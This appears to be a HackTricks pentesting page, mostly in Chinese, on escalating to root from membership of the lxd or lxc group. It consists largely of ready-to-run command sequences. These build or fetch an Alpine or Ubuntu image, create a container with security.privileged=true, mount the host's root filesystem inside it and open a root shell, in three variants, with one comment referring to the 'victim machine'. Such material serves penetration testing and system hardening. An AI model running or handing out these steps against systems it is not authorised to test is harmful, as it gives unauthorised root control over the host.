> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md).

# lxd/lxc Group - Privilege escalation

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如果您属于\_lxd\_ **或** *lxc* **组**，您可以成为root

## 在没有互联网的情况下利用

### 方法1

您可以在您的计算机上安装此发行版构建工具：[https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)（按照github上的说明操作）:

```bash
sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
```

上传文件 **lxd.tar.xz** 和 **rootfs.squashfs**，将图像添加到存储库并创建一个容器：

```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```

{% hint style="danger" %}
如果你遇到这个错误 ***Error: No storage pool found. Please create a new storage pool***\
运行 **`lxd init`** 然后**重复**之前的命令块
{% endhint %}

最后，你可以执行容器并获取 root 权限：

```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```

### 方法 2

构建一个 Alpine 镜像，并使用标志 `security.privileged=true` 启动它，强制容器以 root 用户的身份与主机文件系统交互。

```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```

## 通过互联网

您可以按照[这些说明](https://reboare.github.io/lxd/lxd-escape.html)。

```bash
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```

## 参考资料

* <https://reboare.github.io/lxd/lxd-escape.html>
* <https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/>

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